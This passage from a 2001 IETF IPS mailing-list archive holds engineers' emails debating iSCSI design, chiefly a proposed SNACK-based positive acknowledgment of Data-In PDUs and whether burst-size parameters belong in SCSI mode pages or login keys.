guaranteed that the initiator won't process the NOP-IN until all the DATA-IN PDUs have been read from the wire and processed. The initiator will send a NOP-OUT ping response on the same connection to the target. The initiator isn't going to do anything with the data except DMA to the host, so when the target receives the ping response it knows that worst case a couple of DMAs might be outstanding. If the target now frees the resources it had associated with some, or all, of the DATA-IN PDUs sent before the NOP-IN I believe the chance of them being needed again is very small. Worst case is that the target receives a data SNACK after freeing some of the resources, in which case the target reconstructs the data from the media, or simply sends a SNACK rejected ASC read error and forces the initiator into a higher level of recovery. I think this is unlikely enough to be acceptable. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Santosh Rao Sent: Tuesday, September 25, 2001 2:16 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Julian, I'm opposed to any use of out-of-band techniques by initiators to perform acks of data-in pdu's. If at all this level of data ack is required, I would like to suggest a simpler in-band ack mechanism which is that targets number all PDUs that are transmitted from target to initiator with a sequence number. (say, InboundSN) on a per connection basis. Initiators can then acknowledge inbound PDUs as they are received by sending ExpInboundSN updates on outbound PDUs. Such a technique is simpler to implement for initiators, less expensive in terms of resources and does not impact performance. Specific to your proposal below, I am concerned about the data ack's being based at sequence boundaries (thru the use of F bit in data-in PDU to indicate "Data ACK" required). This may result in data ack's being generated too frequently. The data ack boundaries should be signalled through a seperate bit rather than over-riding the semantics of the F bit. That said, I am opposed to the below proposal for all the reasons outlined earlier + the above. IF a data ack scheme is required (I did'nt hear enough "yes" calls to over-ride the Orlando WG consensus (?) ), then, I would favor an in-band technique such as the one suggested in this mail, wherein no extra PDUs are required from initiator to target for the sole purpose of acknowledging another inbound PDU or set of inbound PDUs. Thanks, Santosh Julian Satran wrote: > Here is updated version (in the previous I had excluded the sequences ended > with Status with no good reason. > > Julo > > (See attached file: ack.txt) > > ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- > > > Julian Satran > To: ips@ece.cmu.edu > 22-09-2001 cc: > 14:04 From: Julian Satran/Haifa/IBM@IBMIL > Subject: iSCSI - positive data ack - change > proposal > > > > > Dear colleagues, > > As I mentioned earlier all the elements needed for positive data-ack are > already in place. > > I am suggesting the following changes to the document to reintroduce the > data-ACK. > > Comments? > > Julo > > **** Attachment ack.txt has been removed from this note on 23 September > 2001 by Julian Satran **** > > ------------------------------------------------------------------ ------ > Within 2.2.2.3 > --------------- > > Initiators MAY also acknowledge received data and reduce by this the resources a target needs to dedicate to data recovery if target and initiator support this type of recovery. > > ------ > 3.7.1 F (Final) Bit > > For outgoing data, this bit is 1 for the last PDU of unsolicited data or the last PDU of a sequence answering an R2T. > > For incoming data, this bit is 1 for the last input (read) data PDU of a sequence. Input can be split in several sequences each one having it's own F bit. Splitting in sequences does not affect DataSN counting on Data-In PDUs but MAY be used as a "change direction" indication for Bidirectional operations that need such a change and/or end of recoverable sequences by targets with a limited retransmission buffer. Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task. > > For Bidirectional operations, the F bit is 1 both for the end of the input sequences as well as the end of the output sequences. > > > ----------- > > 3.16 SNACK Request > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|0|1| 0x10 |1|Rsrvd| Type | Reserved | > +---------------+---------------+---------------+---------------+ > 4/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 20| BegRun | > +---------------+---------------+---------------+---------------+ > 24| RunLength | > +---------------+---------------+---------------+---------------+ > 28| ExpStatSN | > +---------------+---------------+---------------+---------------+ > 32| Reserved | > +---------------+---------------+---------------+---------------+ > 36| ExpDataSN or Reserved | > +---------------+---------------+---------------+---------------+ > 32/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > Support for SNACK is optional. > > SNACK request is used to request retransmission of numbered-responses, data or R2T PDUs from the target. The SNACK request indicates to the target the missed numbered-response or data run, where the run is composed of an initial missed StatSN, DataSN or R2TSN and the number of additional missed Status, Data or R2T PDUs (0 means only the initial). > > The numbered-response, Data or R2T PDUs requested by a SNACK have to be delivered as exact replicas of the ones the initiator missed including all its flags. > > Any SNACK requesting a numbered-response, Data or R2T that was not sent by the target MUST be rejected with a reason code of "Invalid SNACK". > > SNACK is also used to positively acknowledge Data-In PDUs. > > 3.16.1 Type > > This field encodes the SNACK function as follows: > > 0-Data/R2T SNACK - requesting retransmission of a Data-In or R2T PDU > 1-Status SNACK - requesting retransmission of a numbered response > 2-DataACK - positively acknowledges Data-In PDUs > > All other values are reserved. > > Data/R2T SNACK for a command MUST precede status acknowledgement for the given command. > > For a Data/R2T SNACK or a DataACK, the Initiator Task Tag MUST be set to the Initiator Task Tag of the referenced Command. Otherwise, it is reserved. > > For a Status SNACK the ExpDataSN field is reserved. > > An iSCSI target that does not support recovery within connection MAY discard status SNACK. If the target supports command recovery within session it MAY discard the SNACK after which it MUST issue an Asynchronous Message PDU with an iSCSI event indicating "Request Logout". > > If an initiator operates at ErrorRecoveryLevel 1 or higher it MUST issue a SNACK of type DataACK after receiving a Data-In PDU with the F bit set to 1. > > 3.16.2 BegRun > > First missed DataSN, R2TSN or StatSN > > 3.16.3 RunLength > > RunLength is the number of sequential missed DataSN, R2TSN or StatSN. RunLength 0 signals that all Data-In, R2T or Response PDUs carrying numbers equal or greater to BegRun have to be resent. From owner-ips@ece.cmu.edu Tue Sep 25 16:46:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA14606 for ; Tue, 25 Sep 2001 16:46:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PJ3G317832 for ips-outgoing; Tue, 25 Sep 2001 15:03:16 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PJ3EP17827 for ; Tue, 25 Sep 2001 15:03:14 -0400 (EDT) Received: by ZOETERMEER with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Sep 2001 21:04:47 +0200 Message-ID: <8C59010722BBD31194640050DA6EC6971B9841@ZOETERMEER> From: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" To: "'John Hufferd'" , Julian Satran Cc: ips@ece.cmu.edu Subject: RE: iscsi : default iscsi mode page settings. Date: Tue, 25 Sep 2001 21:04:46 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Hello John I agree with you completely. The confusion going over here is that the Buffer/Cache manager that you are dscribing below is being thought over as a part of SCSI realm but i donot agree with that. Specially the line from Julian "It looks to me that association of sink buffers at targets is mostly a SCSI issue and it is dependent on the device type," It is not at all a SCSI issue. An iSCSI target has to bring in the data in proper order so that it can be transferred into LU properly. The only association that can be thought of with a SCSI layer is that relative speed of transfer of data from network and the transfer speed of data from SCSI bus to SCSI device. If that is considered any sort of association then it is an association of both the transport layer and SCSI Bus. The reason I suggested to put all the SCSI Mode page parameter into login keys is that the iSCSI target doesnt have to scan the commands lying within. It doesnt have to poll whether a mode select command is going or not?? This will make the implementation of the box described below by you much easier. However if we think of a complete SCSI target which has box and SCSI built in will not have to face this problem. I would like to know the reasoning as to why is it not better to keep all the SCSI mode page parameters not as login keys. The two main benefits of putting FirstBurstSize only into login keys are the following 1. the the initiator will have to make one command less to target during login operation( it will not have to do any mode sense) 2. no snooping of command by black box implementation if we put all other mode page parameters into login keys they will benefit from both the above two things and it is also important to note that putting alone Firstburstsize into login keys will not make any command less because the initiator anyway has to make a mode sense commannd for other parameters of SCSI mode page. Thanks, Sanjeev -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Tuesday, September 25, 2001 7:54 PM To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. Julian. Thank you for taking the time to express your views, in this way. That type of dialog can help push the debate forward. Now let me expressed some views that I hold, and ask you to let me know where I am wrong. I have viewed the Buffer/Cache Manager as an independent entity that belongs to the "Box" (or the embedded OS). I have not viewed the Buffer/Cache Manager as being a SCSI entity. Instead I have viewed SCSI as a user of the Box services called Buffer/Cache Manager. Likewise, I have viewed the Transport as a user of this same Buffer/Cache Manager(B/CM). I can understand that the B/CM can have certain input and output flows that it needs to be designed to handle. Further I understand that part of that design should factor in the needs of the SCSI LUs to consume Buffer Space. But the requirements of the Transport also needs to be factored in. As a result, I expect that there needs to be some defaults per link, and if the Transport is to negotiate Burst values, there probably needs to be an interface with the B/CM to ensure that the right values are negotiated. However, it is not clear that it makes sense for the iSCSI layer to keep polling (interfacing to) the B/CM just in case a SCSI command has changed the Mode Pages, nor does it see reasonable for iSCSI to inspect the CDBs to see if its mode Page items are being changed. So if it is not affected by a SCSI command and is only handled with Login/Text Command, then an approprate interface between the B/CM can be used to query about the approprate values to negotiate at any specific time. I think this is a reasonable and approprate design. This is why I have come to the conclusion that the burst values (other then defaults, if any) should not be a Mode Page item. Now it is clearly possible that I have missed something important here, so please let me know what it is. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/24/2001 11:28:15 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: Re: iscsi : default iscsi mode page settings. Sanjeev, We can set any of those parameters wherever you want as its clearly a protocol prerogative. The one thing that I am trying to avoid is having one parameter being handled in two ways (It caused me more trouble that it was worth in the past and required a lot of logic). As such we have two consideration when selecting location: legacy what layer is the most affected by it It looks to me that association of sink buffers at targets is mostly a SCSI issue and it is dependent on the device type, the relative speed of the transport and device, QOS requirements at device. Data is already in the SCSI realm (not anymore individual PDUs but sequences that are governed by SCSI needs and (including fairness rules between LUs attached to the same bus). That is why we have those bursts - iSCSI does not need them - SCSI may need them for multiplexing and buffer limitations of its own. As far as iSCSI is concerned bursts are just trouble. But without them a pipe with a limited window will serve one LU and even beyond it's real capabilites. The multiplexing capability is needed by SCSI and is offered in different ways on different transports. Some "buses" have a "built-in" multiplexing capability. TCP does not and iSCSI adds it to it by the "burst limitation". All this said and based on an earlier comment made by Bob Snively that this could be a good criteria for splitting parameters between text and mode pages - I think that the split we have now, even if not built according to every developers wet dreams, is reasonable. Julo "Sanjeev Bhagat \(TRIPACE/Zoetermee To: "Santosh Rao" , John r\)" Hufferd/San Jose/IBM@IBMUS Subject: Re: iscsi : default iscsi mode page 25-09-01 01:58 settings. Please respond to "Sanjeev Bhagat \(TRIPACE/Zoetermee r\)" Julian, Santosh, Can we make all the SCSI mode page paramters be made as login keys? Why should they be kept in a seperate mode page at all?? Sanjeev ----- Original Message ----- From: "John Hufferd" To: "Santosh Rao" Cc: "Julian Satran" ; Sent: Monday, September 24, 2001 10:34 PM Subject: Re: iscsi : default iscsi mode page settings. > > In addition to what Santosh said, If I understand this right, > I think it is a problem for iSCSI to have to keep going across layers to > determine what the values are. Since iSCSI Target will not see the CDB > that caused the values to change. > > Now if the value in the mode page is only the default, that would be a > different issue. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Santosh Rao @ece.cmu.edu on 09/24/2001 12:28:43 PM > > Sent by: owner-ips@ece.cmu.edu > > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings. > > > > Julian Satran wrote: > > > I can sympathize with you wanting to use most of the parameters in iSCSI > - > > but the values are in fact restrictions that SCSI places on iSCSI. > > Julian, > > I'm confused by your response. > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > "The parameters appropriate to each protocol and their interpretation for > that protocol may > be specified in the individual protocol documents". > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for > the pSCSI > transport. Thus, iscsi is within its rights to declare this field as > reserved and attach no > meaning to it in the mode page. The FirstBurstSize can be negotiated during > iscsi login > through a login key. > > > > Nevertheless the discussion is rather academic because SCSI can hand > those > > parameters to iSCSI. > > Again, I'm confused by your response. The reasons I'm suggesting the use of > a login key > instead of the mode page method are : > > * More accurate scope (applies only to this I-T nexus). > > * More optimal negotiation and reduced overhead in the establishment of > the I-T nexus. (2 > less SCSI commands per I-T nexus establishment.). > > * Enables faster I/O scan times due to lesser on-the-wire activity > during I-T nexus > establishment. > > * Allows less room for error in the I-T nexus establishment (no > possiblity of failure to > establish I-T nexus due to mode sense/select command failure). > > * Avoids mode select wars that can occur when target uses shared mode > pages. > > * Simpler initiator implementations since they can avoid embedding SCSI > command set > knowledge as well as code to build/parse SCSI commands. Also, they can > avoid extra code > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC > ="mode parameters > changed") in order to re-issue a mode sense to determine new values > for FirstBurstSize. > > * Less code to interact with SCSI ULP application client to co-ordinate > the mode page > values b/n the ULP & LLP. > > * Can use un-solicited data from the very first scsi command in the > session. > > I don't consider any of the above reasons to be academic and would like to > know which ones > among the above do you believe are academic and why ? > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > handling this type of negotiation dynamically over several connections. > > This is exactly the kind of stuff we don't need and should actually be > trying to avoid. What > good does dynamically changing FirstBurstSize serve ? Dynamically changing > FirstBurstSize > would only be achieved with least side-effects if : > 1) The mode select implementation on target is not using shared mode pages. > 2) The initiator has quiesced I/O prior to issuing the mode select for the > change. > > Neither of the above 2 conditions would typically apply and any dynamic > change of > FirstBurstSize would only cause initiators to see a bunch of side-effects > such as : > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to > "not enough > un-solicited data". > b) UA CHECK CONDITION for "mode parameters changed". > > In the interests of simplification and avoiding disruption of active I/O, > such modifications > must be avoided as far as possible. One way to achieve that is to use a > login key and make > it LO. > > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > Once again, I'm perplexed by your response. I'm not saying that text mode > negotiation is the > reason I suggest moving this to a login key. The main objective is to > isolate such > negotiation within the iscsi layer in an iscsi specific PDU that is a part > of the iscsi > login process. > > Hope you will consider all of the above factors. > > Thanks, > Santosh > > ps : [I wonder if there are any others on this list who care to voice their > opinion on this > issue. (??). ] > > > > > > From owner-ips@ece.cmu.edu Tue Sep 25 16:47:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA14640 for ; Tue, 25 Sep 2001 16:47:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PJ0cr17617 for ips-outgoing; Tue, 25 Sep 2001 15:00:38 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PJ0ZP17612 for ; Tue, 25 Sep 2001 15:00:35 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id VAA92736 for ; Tue, 25 Sep 2001 21:00:25 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8PJ0LB238018 for ; Tue, 25 Sep 2001 21:00:24 +0200 Subject: Re: iscsi : default iscsi mode page settings. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 25 Sep 2001 22:00:43 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 25/09/2001 22:00:23 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk John, I understand this but then we have to move both and First and MaxBurstSize and we have created a problem for SCSI or BCM. My assumption was that as the cache is mainly a SCSI design (transport uses it only as a source and sink - transport has it's own buffers that form the window) dependent on device characteristics it may want to control the buffers and the traffic mix. And the mode page table will be accessible to both - obviously with only one of them having write rights. Regards, Julo John Hufferd@IBMUS To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu 25-09-01 19:53 From: John Hufferd/San Jose/IBM@IBMUS Subject: Re: iscsi : default iscsi mode page settings.(Document link: Julian Satran - Mail) Julian. Thank you for taking the time to express your views, in this way. That type of dialog can help push the debate forward. Now let me expressed some views that I hold, and ask you to let me know where I am wrong. I have viewed the Buffer/Cache Manager as an independent entity that belongs to the "Box" (or the embedded OS). I have not viewed the Buffer/Cache Manager as being a SCSI entity. Instead I have viewed SCSI as a user of the Box services called Buffer/Cache Manager. Likewise, I have viewed the Transport as a user of this same Buffer/Cache Manager(B/CM). I can understand that the B/CM can have certain input and output flows that it needs to be designed to handle. Further I understand that part of that design should factor in the needs of the SCSI LUs to consume Buffer Space. But the requirements of the Transport also needs to be factored in. As a result, I expect that there needs to be some defaults per link, and if the Transport is to negotiate Burst values, there probably needs to be an interface with the B/CM to ensure that the right values are negotiated. However, it is not clear that it makes sense for the iSCSI layer to keep polling (interfacing to) the B/CM just in case a SCSI command has changed the Mode Pages, nor does it see reasonable for iSCSI to inspect the CDBs to see if its mode Page items are being changed. So if it is not affected by a SCSI command and is only handled with Login/Text Command, then an approprate interface between the B/CM can be used to query about the approprate values to negotiate at any specific time. I think this is a reasonable and approprate design. This is why I have come to the conclusion that the burst values (other then defaults, if any) should not be a Mode Page item. Now it is clearly possible that I have missed something important here, so please let me know what it is. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/24/2001 11:28:15 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: Re: iscsi : default iscsi mode page settings. Sanjeev, We can set any of those parameters wherever you want as its clearly a protocol prerogative. The one thing that I am trying to avoid is having one parameter being handled in two ways (It caused me more trouble that it was worth in the past and required a lot of logic). As such we have two consideration when selecting location: legacy what layer is the most affected by it It looks to me that association of sink buffers at targets is mostly a SCSI issue and it is dependent on the device type, the relative speed of the transport and device, QOS requirements at device. Data is already in the SCSI realm (not anymore individual PDUs but sequences that are governed by SCSI needs and (including fairness rules between LUs attached to the same bus). That is why we have those bursts - iSCSI does not need them - SCSI may need them for multiplexing and buffer limitations of its own. As far as iSCSI is concerned bursts are just trouble. But without them a pipe with a limited window will serve one LU and even beyond it's real capabilites. The multiplexing capability is needed by SCSI and is offered in different ways on different transports. Some "buses" have a "built-in" multiplexing capability. TCP does not and iSCSI adds it to it by the "burst limitation". All this said and based on an earlier comment made by Bob Snively that this could be a good criteria for splitting parameters between text and mode pages - I think that the split we have now, even if not built according to every developers wet dreams, is reasonable. Julo "Sanjeev Bhagat \(TRIPACE/Zoetermee To: "Santosh Rao" , John r\)" Hufferd/San Jose/IBM@IBMUS Subject: Re: iscsi : default iscsi mode page 25-09-01 01:58 settings. Please respond to "Sanjeev Bhagat \(TRIPACE/Zoetermee r\)" Julian, Santosh, Can we make all the SCSI mode page paramters be made as login keys? Why should they be kept in a seperate mode page at all?? Sanjeev ----- Original Message ----- From: "John Hufferd" To: "Santosh Rao" Cc: "Julian Satran" ; Sent: Monday, September 24, 2001 10:34 PM Subject: Re: iscsi : default iscsi mode page settings. > > In addition to what Santosh said, If I understand this right, > I think it is a problem for iSCSI to have to keep going across layers to > determine what the values are. Since iSCSI Target will not see the CDB > that caused the values to change. > > Now if the value in the mode page is only the default, that would be a > different issue. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Santosh Rao @ece.cmu.edu on 09/24/2001 12:28:43 PM > > Sent by: owner-ips@ece.cmu.edu > > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings. > > > > Julian Satran wrote: > > > I can sympathize with you wanting to use most of the parameters in iSCSI > - > > but the values are in fact restrictions that SCSI places on iSCSI. > > Julian, > > I'm confused by your response. > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > "The parameters appropriate to each protocol and their interpretation for > that protocol may > be specified in the individual protocol documents". > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for > the pSCSI > transport. Thus, iscsi is within its rights to declare this field as > reserved and attach no > meaning to it in the mode page. The FirstBurstSize can be negotiated during > iscsi login > through a login key. > > > > Nevertheless the discussion is rather academic because SCSI can hand > those > > parameters to iSCSI. > > Again, I'm confused by your response. The reasons I'm suggesting the use of > a login key > instead of the mode page method are : > > * More accurate scope (applies only to this I-T nexus). > > * More optimal negotiation and reduced overhead in the establishment of > the I-T nexus. (2 > less SCSI commands per I-T nexus establishment.). > > * Enables faster I/O scan times due to lesser on-the-wire activity > during I-T nexus > establishment. > > * Allows less room for error in the I-T nexus establishment (no > possiblity of failure to > establish I-T nexus due to mode sense/select command failure). > > * Avoids mode select wars that can occur when target uses shared mode > pages. > > * Simpler initiator implementations since they can avoid embedding SCSI > command set > knowledge as well as code to build/parse SCSI commands. Also, they can > avoid extra code > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC > ="mode parameters > changed") in order to re-issue a mode sense to determine new values > for FirstBurstSize. > > * Less code to interact with SCSI ULP application client to co-ordinate > the mode page > values b/n the ULP & LLP. > > * Can use un-solicited data from the very first scsi command in the > session. > > I don't consider any of the above reasons to be academic and would like to > know which ones > among the above do you believe are academic and why ? > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > handling this type of negotiation dynamically over several connections. > > This is exactly the kind of stuff we don't need and should actually be > trying to avoid. What > good does dynamically changing FirstBurstSize serve ? Dynamically changing > FirstBurstSize > would only be achieved with least side-effects if : > 1) The mode select implementation on target is not using shared mode pages. > 2) The initiator has quiesced I/O prior to issuing the mode select for the > change. > > Neither of the above 2 conditions would typically apply and any dynamic > change of > FirstBurstSize would only cause initiators to see a bunch of side-effects > such as : > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to > "not enough > un-solicited data". > b) UA CHECK CONDITION for "mode parameters changed". > > In the interests of simplification and avoiding disruption of active I/O, > such modifications > must be avoided as far as possible. One way to achieve that is to use a > login key and make > it LO. > > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > Once again, I'm perplexed by your response. I'm not saying that text mode > negotiation is the > reason I suggest moving this to a login key. The main objective is to > isolate such > negotiation within the iscsi layer in an iscsi specific PDU that is a part > of the iscsi > login process. > > Hope you will consider all of the above factors. > > Thanks, > Santosh > > ps : [I wonder if there are any others on this list who care to voice their > opinion on this > issue. (??). ] > > > > > > From owner-ips@ece.cmu.edu Tue Sep 25 17:35:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA15634 for ; Tue, 25 Sep 2001 17:35:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PKhbn24767 for ips-outgoing; Tue, 25 Sep 2001 16:43:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PKhZP24762 for ; Tue, 25 Sep 2001 16:43:35 -0400 (EDT) Received: from london ([10.95.10.3]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id NAA07919; Tue, 25 Sep 2001 13:43:23 -0700 (PDT) From: "Rod Harrison" To: "Julian Satran" , Subject: RE: iSCSI - positive data ack - change proposal Date: Tue, 25 Sep 2001 21:45:31 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, You did, and this is the reply I sent you ... "If there are holes in the data sequence the initiator will send a SNACK before it process the NOP-IN, the target will see this and not discard that data. Remember that a SNAK effectively ACKs everything up to the BegRun point. Think of the NOP mechanism as something like a sync point, when the target receives the response it knows the initiator has at least seen all the data up to the point the NOP was sent. I understand that this doesn't guarantee the data is in host memory, but the chances of the initiator needing to SNAK after receiving the data is small." I don't really want to argue in favour of doing things this way with NOP, it was meant to be a way out of tight corner if we have no data ACKs. The basic question still remains, do we need to ACK DATA-IN or not? If the consensus is that we do, we can move forward and figure out the best way to send the ACKs, rather than defining a mechanism we might not use. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Julian Satran Sent: Tuesday, September 25, 2001 7:51 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Rod, I have a long day and I intended to answer you but I don't recall if I did. If I did I apologize for the duplicate. If I did not here it is: -1) The NOP just won't do it. NOP does not help detecting holes due to digest failures and that is the main reason target is keeping data buffers (if it can't recover them from the media - like from a tape) - to be able to ship them for SNACK. -2) The traffic argument is minor - as I said earlier the ACKs are no more or less desirable than R2T. An extremely conservative target may issue an R2T for every PDU. Should we be concerned? All the rest of the mechanisms are already there. The target will not stop transmitting data (speed will not be affected) as Matthew suggested. Julo "Rod Harrison" cc: 25-09-01 19:21 Subject: RE: iSCSI - positive data ack - Please respond to change proposal "Rod Harrison" Julian, I understand that the NOP is not actually an ACK itself. However, given the way an initiator must process a non-immediate NOP-IN ping request I believe it can be used to gain some understanding of when buffers associated with DATA-IN PDUs might be released. I don't really want to argue for using the NOP this way, I don't think it's a great idea. I just wanted to throw it in to show that a target can get most of what it needs even without a specific ACK mechanism. Please keep in mind this was based on the assumption that long transfers that might cause the target problems are rare, and so this use of NOP would be rare. If this is not the case then I believe an in-band ACK is necessary. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Julian Satran Sent: Tuesday, September 25, 2001 4:03 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Rod, My English is not that good Rod. What I meant to say about the NOP is that it does not convey information (it can't be used by itself as an ack!). I can understand that ack is seldomly needed but we can certainly improve targets (make them less expensive) by having it. I can understand also that data (for real applications) could be rebuilt. But you should not get the list into believing that there is a simple alternative. Julo "Rod Harrison" Sent by: cc: owner-ips@ece.cmu. Subject: RE: iSCSI - positive data ack - edu change proposal 25-09-01 15:09 Please respond to "Rod Harrison" Julian, The NOP mechanism is awkward, no question, but I wasn't thinking it was something we should specify and mandate. Rather it is something that a target might do under extreme, and hopefully unlikely conditions. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Julian Satran Sent: Tuesday, September 25, 2001 1:02 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Matthew, I can fix the text and the ack for the last - we can dispense with, but unlike we gather more support we will have to drop this. I think that the NOP mechanism is awkward but is awkward and as the target shares the penalty for SNAK it has no real incentive to the F bit in every PDU. Julo "BURBRIDGE,MATTH EW To: Julian Satran/Haifa/IBM@IBMIL, (HP-UnitedKingdo ips@ece.cmu.edu m,ex2)" cc: change proposal 24-09-01 12:38 Please respond to "BURBRIDGE,MATTH EW (HP-UnitedKingdo m,ex2)" Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From 